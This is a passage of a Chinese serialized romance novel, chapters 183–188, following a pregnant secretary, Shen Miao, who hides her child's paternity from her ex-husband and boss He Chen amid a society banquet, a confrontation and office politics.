她在最短的时间内反应过来,给出标准的答案,“合适。” 她在工作上胜张科研一筹。 张科研有健全的家庭跟优秀的学历。 他们确实算合适的。 贺忱眉头一拧,“你的意思是,张科研比我好?” 说张科研合适,那岂不是跟他不适合,所以才提离婚? 183.等他撒够气就回去结婚 两人的目光在后视镜里对上。 霓虹灯初上,一簇簇光闪进来,车厢里明暗交替。 沈渺只能看到男人深邃的眼窝,分外深沉。 她率先移开目光,面视前方开车。 “他跟贺总当然没得比。” “确实。” 贺忱语气薄凉,“你的眼光,越来越差。” 无端挨了两句,沈渺摸不着头脑。 “贺总说的是。” 她想了想,又添一句,“我的私事就不劳贺总费心了,也希望贺总……公私分明。” 她的私事涉及不到贺忱。 同样,贺忱跟程唯怡的事情,也别扯上她。 贺忱漠然,指腹轻轻在腕表表盘上摩擦,面色是令人捉摸不透的隐晦。 半小时后,高家。 沈渺下车,她穿着浅灰色齐肩长裙,一双平底鞋踩在脚下。 站在贺忱身边,比贺忱矮了一个头。 完美的身高差,极具辨别性的容貌,独特的气质,都令人眼前一亮。 两人刚站稳,高振山和高夫人就迎过来了。 “贺总,久仰大名,你能来参加我们的结婚周年纪念日,真是我们的荣幸。” 高振山姿态摆得很低。 与贺岭山差不多的年纪,面对贺忱这样一个晚辈,还能毫无负担地摆低姿态。 他是个能沉得住气的人。 贺忱淡定自若地应对,“高总客气了,我的荣幸,沾沾喜气。” “早就听说贺总婚礼在即,希望到时候我有资格去讨杯喜酒。” 贺忱与高振山并肩走在前面。 沈渺则与高夫人寒暄。 “沈渺,你长得真漂亮!”高夫人看到沈渺时,眼睛一亮。 走进了,她眼底对沈渺的惊艳不减反增,更为夸赞。 “看来,这些年你把自己照顾得很好。” 沈渺精致的眉眼带着独有的韵味,她浅笑回应。 “高太太过奖了,这是给您和高总带的礼物,希望您能喜欢。” 她将之前挑选的那份礼物,藏在了结婚纪念日的礼物里面。 高夫人怔了下,把礼物接过来。 “有心了,让他们男人谈生意,我带你来这边。” 她将礼物交给下人,拉着沈渺朝花园里走。 草坪上摆着长长的酒桌,男人们推杯换盏,借着难得的机会谈工作。 花园里女人们齐聚一堂,聚拢到一起谈论八卦。 远远的,沈渺就看到了吴玥珊,她撑着孕肚,坐在椅子上,与几个年纪相仿的女人聊天。 “你要是对我们上了年纪的话题不感兴趣,就去珊珊那边,年轻人多,更有共同话题。” 高夫人询问着她的意见。 “您忙,不用管我,我随意转转,等会儿还要去找贺总,免得他有事找不到我。” 沈渺莫名不想跟高夫人过多接触。 高夫人那股过度的热情,让她感到不适。 闻言,高夫人松开她,“那你有事找我。” “好。” 沈渺与高夫人分开后,朝花园人少的角落里走去。 角落里一只藤编秋千,面朝人工湖泊,背对着花园。 高家在深城是几世权贵,底蕴深厚。 隔着人工湖,沈渺看到贺忱站在草坪上。 他站在原地不动,人群往他那边涌动,逐个打招呼。 一抹靓丽的身影在那群西装革履的男人中,很是显眼,走到了贺忱面前。 沈渺定睛一看,赫然是吴玥珊。 她端着一杯果汁,轻碰了下贺忱的酒杯。 贺忱颔首,浅抿了一口杯中红褐色的液体。 吴玥珊目光一转,朝沈渺这边看过来,毫不遮掩地指着沈渺,与贺忱说什么。 贺忱平缓的眉头微微拢了下,也朝沈渺看过来。 他的不满稍纵即逝后,又跟吴玥珊说了句什么。 吴玥珊扬起一个灿烂的笑容,挺着孕肚顺延着湖泊的青石小路,朝沈渺走过来。 沈渺坐在秋千上没动。 “沈小姐,又见面了。” “高少夫人。”沈渺抬了抬头,入目先是吴玥珊挺起的孕肚,“你怀孕几个月了?” 吴玥珊抚摸着肚子,“六个月了。” 沈渺诧异,跟她月份几乎一样。 不知是吴玥珊的肚子太大,还是她的肚子太小,悬殊实在大。 “知道我刚刚跟贺忱说什么了吗?” 吴玥珊站在她面前,高抬着下巴看她。 沈渺面色平静,“你跟贺总说什么,跟我没关系。” “有关系,我们说的就是你。” 吴玥珊轻嗤着,“我这辈子,最讨厌的就是破坏别感情的小三,贺忱抛下唯怡到深城来找你,男人图个一时冲动,想干什么干什么,唯怡拿他没办法,算下来这是你的不是了。” 听她提程唯怡,沈渺恍然大悟。 难怪第一次见面,吴玥珊就对她那么大的敌意。 “我知道,你是贺忱的前妻,可你们已经结束了,现在唯怡才是贺家的准少夫人,你不该识趣一点吗?” 吴玥珊操着教育人的口吻,毫不掩饰眼底的厌恶。 沈渺站起来,“不知道程小姐怎么跟你说的,也不知道程小姐跟贺总到底为什么吵架,但贺总来深城只是为了工作,跟我无关。” “遮掩你们丑事的借口可真冠冕堂皇……” 吴玥珊紧紧拧着眉头。 沈渺打断她接下来难听的话,“高少夫人闲时间多,好好安胎。” 少管闲事,反正她也管不明白。 说完,沈渺起身离席。 “贺忱一定会跟唯怡结婚的,不过是拿你来气气唯怡,别太把自己当回事,一个前妻总在人家眼前晃悠什么,刚贺忱都说了,等他撒够气就回去结婚……” 吴玥珊挺着孕肚,朝着沈渺的身影愤愤不平。 好似她是正义使者的化身,沈渺是坏透了的第三者。 沈渺走过青石小路,穿过西装革履的男人之中,她想回车上去冷静冷静。 却未曾想,刚走没两步路,就被人端着酒盏拦下了。 “沈总,你来得正好,我有个项目,贺总让我找你谈。” 一个约莫五十来岁的男人,络腮胡秃顶,外表十分违和。 他转身在酒桌上拿来一杯红酒,递给沈渺。 “给个薄面,聊几分钟?” 浓烈的酒味袭来,沈渺呼吸一滞。 “今天是高家的主场,合作改天再谈吧。” 男人却继续拦着她,“那我们先碰个杯,再约时间。” 深城商圈规矩,不论合作与否,喝杯酒以示买卖不成仁义在。 今天周敬才没跟着,没人给沈渺挡酒,她拧起眉。 迟迟未接的酒杯,让男人的脸色渐渐变了。 “沈总,我没得罪你的地方吧?不合作也没关系,面子都不给吗?” 184.贺总,沈秘书的孩子不是我的! “抱歉,我身体不适,不能喝酒。” 沈渺语气真诚。 可对面的男人脸色还是变得有些不好。 “沈总,你是不是还不太清楚深城商圈的规矩?我这不是为难你。” 周围人频频侧目,多少双眼睛,打量中带着好奇,沈渺不喝这杯酒是什么意思。 沈渺被架在这里,这杯酒喝不了,可不喝—— “她身体不适,我来替她喝。” 贺忱发现这边异样,他结束与面前人的寒暄,端着酒杯过来。 男人见贺忱过来,脸色微变。 “贺总,我不是那个意思,真的只是想喝杯酒,哪怕沈总意思一下,抿一口都行!” “她这两天确实身体不适,不宜喝酒,所以今天我才同她一起出席。” 贺忱言简意赅地解释。 男人受宠若惊,也相信沈渺是真的不舒服。 “我喝三杯,贺总自便。” 他喝完一杯紧跟一杯,一口气就把三杯喝完了。 贺忱仰头,将杯中酒一饮而尽。 周围渐渐传来窃窃私语声。 贺忱毕竟是上司,替她挡酒—— 沈渺看了贺忱一眼,他性感的喉结滚动,液体落入腹中,动作一气呵成。 这是他第一次替沈渺挡酒。 沈渺眼皮轻颤,将目光收回来时,略过吴玥珊。 吴玥珊正举着手机偷拍。 贺忱放下酒杯,微微侧过的头,也看向了吴玥珊。 他的目光沉冷,很快便收回来,朝沈渺看去。 “这里有我,你去车上等着。” 沈渺对上他的目光。 他并不介意吴玥珊在拍照,会添油加醋地转告程唯怡。 沈渺甚至在他细微的表情中,看出一缕故意的成分。 沈渺转身就走了,她轻提着长裙的裙摆,裙边处细细的脚踝若隐若现。 “哎这……” 男人刚放下酒杯,就看到沈渺连个表情都没有地走了。 对贺忱这个上司别说感激,连最基本的客气都没有。 贺忱眉骨微拢,不悦稍纵即逝,很快又投入与其他人的应酬中。 停车场,沈渺将座椅放平,躺在里面小憩。 周围一片死寂,可她的耳畔不断回荡着吴玥珊的话。 “贺忱一定会跟唯怡结婚的,不过是拿你来气气唯怡,别太把自己当回事,一个前妻总在人家眼前晃悠什么,刚贺忱都说了,等他撒够气就回去结婚……” 第一次明目张胆地给她撑腰,第一次当众给她挡酒。 只不过是为了气一气程唯怡。 沈渺从未敢想过,贺忱能做出这么幼稚的事情。 她就说,他怎么会突然跑过来给她撑腰呢。 深城的人和事,都不值得他特意跑过来一次。 原来,别有所图。 —— 京北,晚上八点,都到了下班的时间。 张科研突然收到了一封邮件,人事部发来的解雇书。 没有给出具体的解雇原因,单方面强行解除合作,让他明天一早去收拾东西。 张科研懵了几秒,迅速给陈小姐打电话。 可陈小姐的电话没人接,他思来想去主动打给陈庆。 电话响到快自动挂断的时候,才被接起。 “陈总,我……” “张科研,我是看你能力不错,又积极上进,才同意让你跟我女儿交往试试的,可你得罪谁不行,偏偏得罪贺忱!” 陈庆知道他打电话来是为什么,直接打断他。 “明天你收拾完东西走人,以后别再给我女儿打电话了!” “陈总!我没有得罪贺总!” 张科研急急开口,“这都是误会,我可以解释!” 陈庆那端,传来他女儿的哭声。 “爸,你都答应我跟张科研在一起了,让我们试试,怎么能出尔反尔呢?我就喜欢他……” “你喜欢他有什么用?得罪了贺忱咱们陈家都完了,不能因为他一个人害了我们全家!” 陈庆后悔,在女儿跟张科研有苗头的时候,就该及时掐死。 怪他发现张科研能力不错,而且家境不好,愿意倒插门,就抱侥幸心理。 觉得张科研跟沈渺分手了,不至于得罪贺忱…… 谁知道一眨眼,突然就闹出这种事情来! “陈总,我可以跟贺总解释,您给我一次机会,我知道他为什么这么做!” 张科研瞬间就明白,贺忱为什么这么做。 “爸,爸我求你了……” 陈小姐那边苦苦哀求。 陈庆思来想去,对张科研说,“我把贺总的联系方式给你,你自己去联系,如果他还是让我开除你,我不会给你机会的,沟通期间你不许再联系我女儿。” 电话被挂断。 不出一分钟,张科研就收到了陈庆发来的一串号码。 他立马给贺忱拨过去。 电话响了几声,直接被挂断。 再打,又挂。 张科研最后试了一次,电话已经打不通,他被拉黑了。 陌生的号码,贺忱向来不会接。 张科研立刻换了个号码,改为发消息。 【贺总,我是张科研,很抱歉之前骗了您,沈秘书肚子里的孩子……不是我的!希望您能大人不记小人过,别再让陈总开除我,这份工作对我来说来之不易。】 他的消息,并未得到回信。 可张科研也没有给沈渺打电话。 他不能再帮沈渺瞒着,也顾不上沈渺被拆穿会有什么下场。 对于他来说,没有什么比他的前途更重要。 深城。 接连挂断两个电话,贺忱耐心已经被耗尽。 他将对方直接拉黑后,把手机放入口袋,继而应酬。 他并未将短信的叮咚声放在心上。 宴会人数众多,一圈应酬下来,他喝了不少酒,不再寒暄,提出告辞。 高振山亲自送他出来,“贺总,改天有机会我请你吃深城的特色,年底深城政圈有个项目下来,我们提前探讨一下。” “百荣在深城建分部,只是为了好管理周围的分公司,不会垄断南方的市场,高总请放心,我们不是仇人,政圈的项目您自己留着吧。” 贺忱算算时间,年底沈渺刚生产完不久。 政圈项目耗人又耗精力,沈渺撑不住的。 高振山客气一笑,“既然都来了深城,肯定是把生意做得越大越好,我肯定是双手欢迎……” 他的客气话,贺忱懒得附和,静静听着,听絮烦了掏出手机随意拨弄着。 点开那条未读的短信,他的目光乍然一凝。 185.你肚子里的孩子,又不是他的 高振山还说这话,突然察觉周身的气氛变了。 再看贺忱,脸色凛然,让他心底一惊。 “贺总?” “高总,告辞。” 贺忱甩下几个字,转身朝车上走去。 高振山看着他漠然的背影,愣是没敢送他上车。 贺忱回到车旁,落下一小截的车窗依稀能看到沈渺躺在里面。 她身上盖着一件黑色针织线衣,埋起半张脸,一双眼眸微闭着,卷翘的睫毛合拢。 贺忱靠在汽车引擎上,点了根烟,目光三不五时地落在车内的沈渺身上。 她骗了他。 他却猜不透,她为什么骗他。 尼古丁充斥在贺忱的鼻翼间,渐渐上了头,往日里冷静沉着的男人,此刻乱成一团。 或者说,不知什么时候就已经有了乱的迹象。 此刻,才彻底乱套。 沈渺睡得并不安稳。 车厢里有贺忱身上淡淡的沉香味,她有些不安。 迷迷糊糊,她眼睛睁开一条缝。 男人靠坐在引擎盖上,双手撑着车身。 人被一道路灯打下来的光笼罩,黑色的西装折出暖光,将他笼罩着。 沈渺扯开外套从车上下来,“贺总,结束了吗?” 车内有些热,她鼻子出了一层细汗。 黑白分明的眼眸亮晶晶的又泛着点红。 像一只无辜善良的兔子。 “张科研跟陈庆的女儿在一起了。” 逆光中,只能看到贺忱唇瓣微动的轮廓。 沈渺的心口一紧,垂在身侧的手捏住了裙子。 “其实我跟他在我来深城之前,就分手了。” 贺忱嗓音不辨喜怒,“是吗。” 他的声音有着无孔不入的渗透感,直接钻入了沈渺的心口。 她的心脏像被扎了一颗钉子,拼命的跳动像摆脱那股钳制感。 “是。” 她尽量让自己看起来无异,赶在话题更深一步之前,又说,“我有些累了,贺总,您开车回家吧,我自己叫个车回去。” 她折回驾驶位,拿了衣服和包,边拿手机边快步离开。 刚走到车尾的位置。 贺忱就追上来了。 他拉了把她的胳膊,力度不大不小,她停下来,身体紧抵着后备箱。 贺忱双手圈拢,将她困在他身体与车之间。 逼仄感更浓,尤其他盯着沈渺的目光,极具穿透性。 “沈渺,你什么时候这么开放了?说谈个男人就谈,床也上了孩子也怀了,说分就分?” 他每问一句,就朝她靠近一些。 沈渺心惊一下,又一下,被他逼得抬着头与他对视。 她无处可躲,微微隆起的小腹,甚至已经感受到男人贴过来的带着温度的身体。 “这是我的私事,跟你没关系!这个孩子我想留——” “好歹你也跟了我两年,我这个前夫兼上司,不能让你受了委屈。” 贺忱舌尖抵着腮帮,锐利的目光更进一步盯着他。 他的鼻尖快要抵上她的鼻尖。 “我帮你收拾张科研。” “不用!” 沈渺毫不犹豫拒绝,“不论是前夫还是上司,我都不需要你管!” 贺忱眉尾挑着,“我偏要管。” 他腾出一只手来,从口袋里掏出手机。 沈渺有了逃跑的机会,可她却不能走,直勾勾地盯着他的动作。 “以后别再让张科研出现在商圈。” 他在打电话,给林昭? 沈渺抬起手,拽着他胳膊,试图将电话抢过来。 贺忱将胳膊抬起,她垫着脚怎么也够不到。 “一个不负责任的男人,你这么护着干什么?沈渺,你不是最讨厌被人抛弃吗?” 沈渺虽然从来没说过,可她最讨厌别人抛弃她。 因为孤儿院的孩子,都是被抛弃的。 她也一样! 沈渺的指甲陷入他腕骨的肉里,抠出一道触目惊心的痕迹。 她死死咬着下唇,却仍未松口,坦白不是张科研的。 贺忱是个原则性极强的人,他眼里容不得沙子。 他都不肯包容青梅竹马,即将结婚的程唯怡。 怎么会包容沈渺这个下属的欺骗呢? 就算不是公事,也不行。 “怎么不说了?” 贺忱薄唇轻启,他眸色蕴着怒意,刻薄的话语接二连三地往外冒。 “做贺少夫人的时候,你不是次次不落安全措施?” 合法的孩子她都不生,怎么换了别的男人,她就一头热了? 想到沈渺在别的男人身下承欢,那副媚态的样子是取悦他人的。 他心底那股火,烧得更旺了! 沈渺羞恼。 “我只是不想给你生孩子!因为你不好,不温柔体贴不说,还整天冷着一张脸,像别人欠你八百万似的!” 贺忱的目光一下变得锋锐,薄怒下他额头的青筋凸起。 “何况你心里还装着别的女人,你是一个合格的丈夫吗?合法时你都没给我特殊偏待,你妈为难我的时候你像看不见的,现在都离婚了你给我撑什么腰?” 同一个屋檐下相处两年,贺忱都没有察觉到她有这么多情绪。 劈头盖脸的指责,让贺忱沉默下来。 沈渺一股脑的说完,清醒之后心拔凉。 几年的暗恋,始终没有得到过的感情回应,她的心里多少是带情绪的。 可这股情绪,发泄也该在那两年的婚姻里发泄。 而不是离婚这么久以后,再翻出来。 贺忱捏着手机的手加大力度,碰到了侧键,亮起的屏幕停留在锁屏界面。 没有在通话中。 沈渺怔愣,踮着的脚渐渐放平,抓着他的力度放小许多。 她拢了拢凌乱的头发,汲气道,“抱歉贺总,我失态了,您的好意我心领了,我会处理好自己的事情,希望您别牵连张科研,行吗?” 得不到贺忱松口的话,她不放心。 贺忱下颚线条清晰紧绷,他眼眸深邃如古井,暗藏着波澜。 “当然。” 沈渺提着的心落回肚子里。 她正想再说两句体面话,圆和一下刚刚的指责。 就听贺忱再度开口,“你肚子里的孩子,又不是他的,我分得清是非黑白。” 沈渺眸光一震,愕然地看着他。 她很快反应过来,只怕是贺忱已经对张科研下手,张科研主动找贺忱解释过了。 而贺忱,在诈她,想看她是否会承认,这个孩子不是张科研的。 她的不承认,等于告诉贺忱,她是有意瞒着他的! 186.要瞒就瞒到底,最好永远别让我知道 沈渺的心快跳出嗓子眼。 贺忱鹰隼般锐利的目光,仿佛能看穿她的秘密。 “要瞒,你就瞒到底,最好永远别让我知道。” 他站直身体,扯开领带脱了外套,挂在臂弯处转身往路边走。 沈渺的这个孩子,不可能是他的。 但直觉却又告诉贺忱,这个孩子一定跟他有关系。 他细细思索着,想不出是哪个环节出了错。 别墅区没有出租车。 他没把沈渺一个孕妇丢在这里。 沈渺却没有勇气,再让他上车。 她驱车换了另外一条路离开,后视镜里站在路边的贺忱,低垂着头吸烟。 夜里微凉,灯光晃晃,雾气萦绕着他。 她需要一个充足的理由,来解释她为什么瞒着贺忱。 否则根本交代不过去。 一步错步步错,早知会走到今天这一步,不如当初不提离职,就在分公司。 在贺忱的眼皮子底下,把这个孩子生下来,不瞒不主动汇报,反而没这么多事端。 回到家,商音过来给她送宵夜,一眼看出她脸色不对。 她蜷缩在沙发上,有气无力地将刚刚一切如实说出。 商音安慰她,“机器还会出错呢,人哪能一直保持冷静?你是太在乎这个孩子了,所以才会头脑不冷静,做出错误的决定,要怪怪我,我这个旁观者也头脑发热,怂恿你离开京北。” 沈渺双眸失焦涣散,靠在沙发上沉默。 “也不能怪咱们,谁让对方是贺忱呢,他要跟你抢抚养权,一抢一个准,我们没有胜算,必须杜绝一切可能性。” 商音坐过来,把她的头发挽到耳后,抱着她胳膊,“不怕,车到山前必有路,咱们先想个充足的骗他的理由。” 沈渺想了一路,根本想不到,她头靠在商音腿上,试图冷静下来想办法。 商音也冷静下来。 约莫过了十几分钟,商音缓缓开口,“我,我想到了一个非常充足的理由,但是有点狗血,你要不要听?” 沈渺坐起来,认真看着她,“什么?” “算了,我还是不说了。”商音悻悻一笑。 “死马当活马医,你说说看。” 沈渺知道她脑回路一向不正常。 但万一今天正常了呢? “你说这孩子是他爸的,你瞒住他,就理直气壮了吧?” 商音刚说完,沈渺就站起来了。 顺带把她也从沙发上拉起来。 “别想了,回家睡觉去吧。” 沈渺连推带搡,把商音跟那个馊主意,一块儿丢出家门。 商音一条腿卡在门缝里,挡着不让她关门。 “我都说不说了,你非让我说,那你还能有比这更好的主意吗?” 沈渺听她说话,比听贺忱说还头疼。 “所以呢?我不跟他抢抚养权,跟他爹抢?你能不能靠谱一点?” 这已经不是强抚养权的问题,都差辈了。 “那你当我没说,咱们再想想,你这样我不放心。” 商音想陪着她。 沈渺继续关门,“你废话虽然多,可刚刚有一句很中肯,车到山前必有路,我也不想了。” 她把商音的腿硬推出去,然后关上门。 “那你早点睡,明天我来给你送早餐。” 商音隔着门说,“你不承认他拿你没办法的,实在不行咱辞职,不伺候他了,我带你再换个地方……” 她自顾自地说了一番,然后走了。 沈渺进卫生间洗漱,刚推开门就看到洗手池边缘,一颗哑黑色的衬衫扣子,静静躺在那里。 那是贺忱的。 她看了几秒,拿起来随手丢入垃圾桶里。 —— 秦川开车来接贺忱。 回去的路上,贺忱一言不发。 “身体好利索了吗。”秦川先开了口。 贺忱,“嗯。” 秦川,“你怎么一个人来参加宴会了,沈渺呢?” 他刚说完‘沈渺’二字,贺忱的脸色就拉下来了。 贺忱想起什么似的问秦川,“在京北时,你是沈渺的妇产医生?” “是。”秦川等他下文。 贺忱,“有男人跟她一起去产检吗?” 秦川摇头,“没有,我问过科室的小护士,她们都没见过沈渺的老公。” 几乎每个孕妇都有老公陪着一起产检。 唯独沈渺,每次都是一个人去,偶尔商音陪着。 小护士们私下议论了好几次。 “有没有办法,知道她肚子里的孩子,是谁的?” 贺忱的指尖一下又一下轻轻敲击着腿。 秦川,“那是犯法的。” “让你做你就做,哪那么多废话。” 贺忱拢着眉,一脸不容置疑。 秦川面视前方开车,无奈道,“拿两个标本做DNA检测,可以知道两人的关系,你要测她肚子里的孩子跟谁?” “我。”贺忱脱口而出。 秦川转动方向盘,将车停在路边,“你认真的?” 贺忱静默数秒,“安全吗?” “羊水穿刺,有一定风险,严重会导致流产。”秦川实话实说。 尤其,沈渺已经做过一次了。 贺忱沉默着。 “你做过什么,自己心里不清楚吗,还能不确定孩子是不是你的?” 秦川反问,“她是去年十一月份怀上的。” 十一月份,那时的她还在分公司。 调职后,贺忱只见过她三次,每次都是在公司。 别说上床,私下他都没见过她。 他掐了两下眉心,“开车,回家。” 秦川将油门踩到底,汽车重回道路上。 “天下没有不透风的墙,你查查不就知道了。” 贺忱微闭的眼眸豁然睁开一条缝,他转过头来,“你闲着也是闲着,明天找个医院任职。” “你不会是觉得,我能从沈渺嘴里套出话来吧?她可是知道我跟你关系的。” 秦川保证,沈渺已经把她列入‘黑名单’了。 贺忱,“换个人套。” “什么?”秦川没明白他的意思。 他不多解释,拿出手机给林昭打电话,“把秦川安排进深城最好的医院,任职儿科。” —— 翌日,沈渺到公司后,在车里坐了一会儿才上楼。 她是做足了准备才上去的。 可是电梯直达顶层,门一开,就看到贺忱站在外面的一瞬间。 她所有的准备工作,功亏一篑。 “贺,总。” 结巴,目光闪烁不定。 187.他越这样,沈渺心里越不安 “准备开会。” 贺忱比她淡定。 仿佛昨天晚上的针锋相对,不曾存在。 他越这样,沈渺的心里越不安。 沈渺出电梯,回办公室拿文件,马不停蹄去会议室。 百荣分部成立后的第一个项目,至关重要。 贺忱既然来了,就为此召开会议,为未来发展做出初步的计划。 “贺总,年底政圈有个项目,我觉得我们可以参与,能打开百荣在深城的知名度和信誉度。” 韩文松第一个发话。 他说的这个项目,就是高振山提的那个。 贺忱直接将话题转到沈渺那儿,“沈秘书觉得呢。” 他喊惯了‘沈秘书’,一直未改口。 “我认为不妥,深城政圈的项目有固定的合作人,抢是抢得过来,但难免得罪人,百荣刚在这里立足,不宜太张扬。” 猝不及防被点名,沈渺反应迅速,将最直观的想法说出。 而她的想法,跟韩文松的恰恰相反。 韩文松面露不满,可他没有再接话。 他看来,贺忱是偏袒沈渺的,肯定会直接采纳沈渺的意见。 谁知—— “百荣怕过吗。” 贺忱语气淡然,话锋一转,“韩经理眼光长远,行事雷厉,政圈的项目就交给你吧。” 会议室鸦雀无声。 那日为沈渺撑腰,沈渺一个不高兴,他能把裁掉整个公司数万人的男人,当众打了沈渺的脸。 对韩文松的夸赞反过来,就是嫌沈渺女流之辈畏手畏脚,只顾眼前。 沈渺轻垂着眼帘,她怎能不知贺忱是睚眦必报的性子? 她昨天那番话,挺伤男人自尊心的。 “贺总,沈总,这……” 面对天降的好事,韩文松很警惕,“我负责吗?” “对。”贺忱手掌抵着桌沿,修长的手指搭在桌面上,一下下轻轻敲击。 “项目的人你随便选,给你开个新组,全力负责政圈项目。” 带领分部第一个项目,韩文松的权利直接翻倍。 他不由得坐直身体,整理了下西装。 “谢谢贺总给的机会,放心,我一定不会让您失望的。” 话语里有对贺忱的恭维,还有对沈渺的不屑。 “散会。” 贺忱起身合拢西装,越过沈渺,阔步离开。 会议室的门合上,韩文松突然就笑了。 他站起来,跺了跺脚,“哎呀,这短短两天,沈总怎么得罪贺总了?” 沈渺一言不发,合上电脑收拾文件。 “你不是跟了贺总好几年了吗?他那么器重你把你调过来,你怎么这么不争气呢?” 韩文松双手摊开,幸灾乐祸着。 其他高层纷纷起身,时不时发出一声嗤笑。 “韩经理,恭喜恭喜,干好了这个项目,你高升指日可待!” “韩经理能力出众,一定能把这个项目做好,让百荣更上一层楼。” “一群马屁精。” 恭维中,贺懿的声音不大不小,恰好传入每个人耳中。 一瞬,会议室陷入死寂。 韩文松黑着脸看过去。 贺懿跟在人群后走,前面的人却停下来,纷纷看向她,挡着她的路。 她毫不掩饰对这群人的鄙夷。 “看什么看?别人吹牛你们跟着起哄,马屁都让你们拍没了,好处我们公关部一点落不着,出了篓子还得我们解决,真够不要脸的。” 她骂骂咧咧,前面的人不由自主地让开路。 韩文松没让路,她不客气一把将人推开。 “还看,我说的就是你!” 韩文松个子不高,瘦瘦的像七八十年代的汉奸,中分的头发。 贺懿铆足劲推,他根本招架不住。 “沈总,我们走。” 推完人,贺懿扯出一个狗腿子的笑容,拉着沈渺离开。 “狗眼不识货!” 韩文松对着空气淬了一口,“沈渺都失势了,你还跟着她!” 贺懿跟沈渺早已走出办公室,他的骂声被门挡住。 出了门,贺懿挠挠头看着沈渺。 “我哥疯了吗?怎么突然重用韩文松那韩家狗腿子了?” “你说话办事别这么冲动,韩文松为人挺阴暗的,被他记恨上没好事。” 沈渺从来不跟韩文松硬碰硬。 贺懿,“不怕,他动不了我。” 两人说话间,到了沈渺办公室,她挥挥手往电梯走。 “还是小心些。” 沈渺叮嘱了两句,回了办公室。 韩文松那群人隔了几分钟,大摇大摆的出来。 路过沈渺办公室时,他还特意停下,往里面看了一眼。 “都回去吧,我去给韩董报喜。” 韩文松单独进了个电梯,其他人识趣地等另外一个电梯。 回到办公室,韩文松给韩董打电话,报喜。 “贺忱把项目交给你做了?”韩董意外,“不对,他明知你是我的人,不会重用你。” “今天会议上,贺忱对沈渺像变了一个人,我猜他们起内讧了。” 韩董思来想去,还是觉得蹊跷。 “你小心行事,查一查他们是怎么回事。” 经韩董这么一说,韩文松也不敢掉以轻心了,“行,我马上查。” —— 项目交给韩文松,对沈渺来说有一个好处。 那就是她无事可做了。 近期公司所有筹备,都是围绕着那个项目的。 各个部门都去找韩文松了,沈渺一闲就是一上午。 坐不住了,中午她跟李白恬一起吃饭。 楼下新开了一家餐厅,李白恬吃过两次,力荐,沈渺便去试试。 点了几个李白恬觉得好吃的菜。 “隔壁还有一家奶茶店上新了,柠檬茉莉波波,我去买两杯!” 李白恬起身就跑。 沈渺喊住她,“我不喝。” “哦对,我忘了你怀孕。”李白恬停下,“那,牛奶你喝吗?” “不喝,你买自己的就好。” 沈渺本就对那些东西不感兴趣,怀孕了更是碰都不碰。 “那我快去快回。” 李白恬跑得飞快。 沈渺低头玩儿手机,余光突然一暗,她身边坐了个人。 抬起头一看,她脸色一拉。 “沈渺,好久不见!” 何之洲单手搓着下巴,手里拿着一束漫天星,冲她笑得跟狗尾巴花似的。 “我特意从京北赶过来看看你,你能不生我的气了吗?” 沈渺纠正他的措辞,“你是知道贺忱来了,特意跑到这千里之外来看戏的吧。” 188.我这次过来就是保护你的 “我发誓,我现在真的没有看戏的意思,纯担心你。” 何之洲竖着三根手指朝天,前所未有的认真。 “你肚子里的孩子是一条生命,你们血脉相连,他身上流着你一半的血,骨肉分离对你来说是会遗憾一辈子的事情,我以前真不该那么混账地把这件事情当儿戏,我这次过来就是保护你的,你有需要随时提。” 他又抬起另一只手,拍了拍胸脯。 那张妖孽般的脸正经起来,多了几分可信度。 沈渺淡淡说,“谢谢。” 她不是不信何之洲,只是不需要何之洲帮忙。 “你怎么还这么瘦?” 何之洲对她并未热络起来的态度,感到一丝失落。 但他还在尽力找话题。 “还好。”沈渺看了眼窗外,提醒他,“我朋友马上回来,我们吃了饭还要回去上班。” 何之洲把花放下,站起来说,“那我不打扰你们,我电话你还有吧?有事打给我——” 他比画着打电话的姿势离开。 与买了奶茶回来的李白恬走了个擦肩。 李白恬停下来看了他一眼,才回座位上。 “我怎么觉得刚刚那个人,有点眼熟吗?” 沈渺拿了双筷子递给她,“快吃吧,等会儿餐都凉了。” 李白恬接过筷子道谢,一边喝奶茶一边大快朵颐。 半小时后,两人吃饱买单。 沈渺请,她拿过账单,正准备交钱。 服务员提醒,“小姐,刚刚一位先生已经付过了。” “是姓何吗?” “对,何先生让我们转告,您多注意身体,饮食规律。” 服务员一脸暧昧八卦,“是您的追求者,还是男朋友?” 沈渺把手机关了,“是我的债主子。” “谁啊?”李白恬收拾东西站起来,往外走时追着问沈渺。 “一个朋友。” 李白恬打趣,“我怎么没这样的朋友?吃饭悄悄买单,还这么关心你身体。” 沈渺看她一眼,“那你得找找自己的问题了,怎么就没人给你买单关心你呢。” “我……”李白恬受到一万点暴击,“你别欺负人,我也是有追求者的!” 沈渺轻笑,“好好好,你有。” 李白恬挽着她往公司走,走到门口遇上两个小秘书。 小秘书喊了声‘沈总’,逃似的跑了。 “对了,我刚买奶茶听两个人造谣,说你得罪贺总了,大势已去,位置摇摇欲坠,肯定是周敬才散播的!” 李白恬觉得,这两个小秘书跑那么快,一定是听说了谣言。 她没跟着沈渺去开会,所以不知道今天早上的会议发生了什么。 好事不出门坏事传千里,这才一个上午,公司上下都传开了。 说话间,两人进了公司,等电梯。 “沈渺姐,你怎么不说话?”李白恬没得到她的回应,轻晃了下她手臂。 沈渺不知说些什么。 身后突然一阵骚动。 两人回头,便看到贺忱阔步进来,他身后跟着韩文松以及几个高层。 男人风光霁月,威风凛凛。 他们站在另外一部电梯旁,贺忱冷冽的面容倒影在电梯壁上。 李白恬看向那边,又转过头来看看。 沈渺看向贺忱一眼后,卷翘的睫毛颤了颤,喊了声‘贺总’。 贺忱面视前方,未曾给她一个眼神,喉结滚动发出一个单音节,算是回应。 然后沈渺就收回目光,两人便再也没了交集。 韩文松等人虽没说话,可目光讽刺多变,全都打量了一眼沈渺。 电梯门开了,韩文松讨好笑着,“贺总,请。” 贺忱阔步进去。 一行人跟进去,电梯门合上上行。 沈渺面前的电梯也来了,她与李白恬一同进去。 外面几个职员都装看不见,各自等其他电梯,生怕跟沈渺扯上关系。 短短数秒,李白恬什么都明白了。 “你怎么得罪贺总了?” 沈渺看她一眼,“你怎么就确定,是我得罪了他?” 而不是贺忱的原因。 李白恬咂咂嘴,“那是贺总,对的是对的,错的也是对的,这不是你教我的吗?” 李白恬刚来公司时,是非黑白分得太清,得罪不少人。 这话是沈渺教的,对上司和有能力的同事,错的也是对的,学会睁一只眼闭一只眼。 现在,却被反过来教育她了。 “是,我的错。” “那你去跟贺总道个歉。” 李白恬吸吸鼻子说,“我千里迢迢来投奔你,你要是倒台了,我在这儿孤立无援,灰溜溜回京北,大家都会笑话我的。” 